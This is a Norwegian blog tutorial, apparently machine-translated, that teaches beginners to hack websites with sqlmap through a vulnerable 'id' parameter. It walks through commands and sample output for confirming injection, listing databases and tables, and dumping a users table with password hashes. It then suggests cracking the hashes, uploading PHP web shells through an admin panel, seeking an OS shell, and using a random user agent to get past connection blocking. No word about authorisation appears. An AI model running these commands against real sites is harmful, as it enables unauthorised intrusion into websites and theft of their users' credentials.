Sqlmap tutorial for nybegynnere – hacking med sql injection

Sqlmap

Sqlmap er en av de mest populære og kraftige sql injeksjon automatisering verktøy der ute. Gitt en sårbar http-forespørsel url, kan sqlmap utnytte den eksterne databasen og gjøre mye hacking som å trekke ut databasenavn, tabeller, kolonner, alle dataene i tabellene etc.

Det kan til og med lese og skrive filer på det eksterne filsystemet under visse forhold. Skrevet i python er det et av de kraftigste hackingsverktøyene der ute. Sqlmap er metasploit av sql-injeksjoner.Sqlmap er inkludert i penn testing linux distros som kali linux, backtrack, backbox etc. På andre distroer kan den enkelt lastes ned fra følgende url

http://sqlmap.org/.

siden det er skrevet i python, må du først installere python på systemet ditt. På ubuntu installerer python fra synaptic. På windows installere activestate python. Sjekk ut dette innlegget for detaljer om hvordan du installerer og kjører sqlmap på windows.

for listen over alternativer og parametere som kan brukes med kommandoen sqlmap, sjekk sqlmap dokumentasjon på
https://github.com/sqlmapproject/sqlmap/wiki/Usage

I denne opplæringen skal vi lære å bruke sqlmap å utnytte en sårbar web-applikasjon og se hva alt kan gjøres med et slikt verktøy.

for å forstå denne opplæringen bør du ha grundig kunnskap om hvordan databasedrevne webapplikasjoner fungerer. For eksempel de som er laget med php + mysql.

Sårbare Webadresser

La oss si at det er et webprogram eller nettsted som har en url i det som dette

http://www.site.com/section.php?id=51

og det er utsatt for sql-injeksjon fordi utvikleren av dette nettstedet ikke unnslippe parameteren id riktig. Dette kan enkelt testes ved å prøve å åpne url

http://www.site.com/section.php?id=51'

Vi har nettopp lagt til et enkelt sitat i parameteren. Hvis denne url kaster en feil eller reagerer på en uventet måte så er det klart at databasen har fått uventet enkelt sitat som programmet ikke unnslippe riktig. Så i dette tilfellet er denne inngangsparameteren » id » sårbar for sql-injeksjon.

Hacking med sqlmap

Nå er det på tide å gå videre til sqlmap å hacke slike nettadresser. Kommandoen sqlmap kjøres fra terminalen med python tolk.

1. Skanning eksternt system

den første kommandoen skanner det eksterne systemet for å se om det er sårbart for sql-injeksjon og samler deretter informasjon om det.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

ovennevnte er den første og mest enkle kommandoen å kjøre med sqlmap-verktøyet. Den sjekker inngangsparametrene for å finne ut om de er sårbare for sql-injeksjon eller ikke. For denne sqlmap sender ulike typer sql-injeksjon nyttelast til inngangsparameteren og kontrollerer utgangen.

i prosessen sqlmap er også i stand til å identifisere den eksterne system os, database navn og versjon. Slik ser utgangen ut

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

så sqlmap-verktøyet har oppdaget operativsystemet, webserveren og databasen sammen med versjonsinformasjon. Selv dette mye er ganske imponerende. Men det er på tide å gå videre og se hva mer er dette verktøyet i stand til.

2. Oppdag Databaser

Når sqlmap bekrefter at en ekstern url er sårbar for sql-injeksjon og kan utnyttes det neste trinnet er å finne ut navnene på databasene som finnes på det eksterne systemet. Alternativet» –dbs » brukes til å få databaselisten.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

utgangen kan være noe sånt som dette

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

utgangen viser eksisterende databaser på det eksterne systemet.

3. Finn tabeller i en bestemt database

nå er det på tide å finne ut hvilke tabeller som finnes i en bestemt database. La oss si at databasen av interesse her er ‘safecosmetics’

Kommando

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

og utgangen kan være noe som ligner på dette

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

er ikke dette utrolig ? det hvis selvfølgelig. La oss få kolonnene til et bestemt bord nå.

4. Få kolonner av et bord

Nå som vi har listen over tabeller med oss, ville det være en god ide å få kolonnene til et viktig bord. La oss si at tabellen er ‘brukere’, og den inneholder brukernavn og passord.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

utgangen kan være noe slikt

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

så nå er kolonnene tydelig synlige. Bra jobba!

5. Få data fra et bord

nå kommer Den mest interessante delen, å trekke ut dataene fra tabellen. Kommandoen ville være

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

kommandoen ovenfor vil bare dumpe dataene til det aktuelle bordet, veldig mye som mysqldump-kommandoen.
utgangen kan se ut som denne

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

hash-kolonnen ser ut til å ha passordhash. Prøv å knekke hash og da vil du få påloggingsdetaljene rightaway. sqlmap vil opprette en csv-fil som inneholder dumpdata for enkel analyse.

Så langt har vi vært i stand til å samle mye informasjon fra den eksterne databasen ved hjelp av sqlmap. Det er nesten som å ha direkte tilgang til ekstern database gjennom en klient som phpmyadmin. I virkelige scenarier hackere ville prøve å få et høyere nivå for å få tilgang til systemet. For dette, de ville prøve å knekke passord hashes og prøve å logge inn via admin panel. Eller de ville prøve å få et os-skall ved hjelp av sqlmap.

jeg skrev et annet innlegg på å bruke sqlmap for å få mer informasjon om eksterne databaser. Det forklarer de andre alternativene til sqlmap som er nyttige for å finne ut databasebrukere, deres privilegier og deres passord hashes.

Hva Neste ?

Når du er i stand til å skanne og samle data fra et sårbart system, er det på tide å utnytte det og se om det er mulig å få tilgang til systemet. Sqlmap kan gjøre ganske mange ting som å utføre sql-spørringer på eksternt system, starte et eksternt skall på systemet etc.

1. Utfør vilkårlig sql-spørringer

dette er trolig den enkleste tingen å gjøre på en server som er sårbar for sql-injeksjon. Parameteren — sql-query kan brukes til å angi en sql-spørring som skal utføres. Ting av interesse ville være å opprette en bruker i brukertabellen eller noe lignende. Eller kan endre / endre innholdet på cms-sider etc.En annen paramter-sql-shell ville gi et sql-skall som grensesnitt for å kjøre spørringer interaktivt.

2. Få inne admin panel og spille

hvis nettstedet kjører en slags tilpasset cms eller noe lignende som har en admin panel, så det kan være mulig å komme inn forutsatt at du er i stand til å knekke passordet hentet i databasen dump. Enkle og korte lengde passord kan brytes bare ved brute tvinge eller google.com.

Sjekk om admin panel tillater å laste opp noen filer. Hvis en vilkårlig php-fil kan lastes opp så det være mye større moro. Php-filen kan inneholde shell_exec ,system, exec eller passthru funksjonssamtaler, og det vil tillate å utføre arbitære systemkommandoer. Php web shell scripts kan lastes opp for å gjøre det samme.

3. Shell på remote OS

dette er tingen å gjøre for å fullstendig overta serveren. Vær imidlertid oppmerksom på at det ikke er så enkelt og trivielt som triksene vist ovenfor. sqlmap kommer med en parameter call-os-shell som kan brukes til å prøve å få et skall på eksternt system, men det har mange begrensninger av seg selv.

i henhold til sqlmap-håndboken

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

det viktigste privilegiet som den nåværende databasebrukeren trenger, er å skrive filer gjennom databasefunksjonene. Dette er fraværende i de fleste tilfeller. Derfor vil denne teknikken ikke fungere i de fleste tilfeller.

Merk

1. Noen ganger kan sqlmap ikke koble til nettadressen i det hele tatt. Dette er synlig når det blir sittende fast ved den første oppgaven med å «teste tilkobling til måladressen». I slike tilfeller er det nyttig å bruke alternativet» –random-agent». Dette gjør sqlmap å bruke en gyldig user agent signatur som de sender av en nettleser som chrome eller firefox.

2. For nettadresser som ikke er i form av param=verdi sqlmap kan ikke automatisk vet hvor du skal injisere. For eksempel mvc nettadresser som http://www.site.com/class_name/method/43/80.

i slike tilfeller må sqlmap bli fortalt injeksjonspunktet merket med *

http://www.site.com/class_name/method/43*/80

ovennevnte vil fortelle sqlmap å injisere på punktet merket med *

3. Når du bruker skjemaer som sender inn data via post-metoden, må sqlmap gis postdataene i» – data » – alternativene. For mer informasjon sjekk ut denne opplæringen om bruk av sqlmap med skjemaer.

Legg igjen en kommentar

Din e-postadresse vil ikke bli publisert.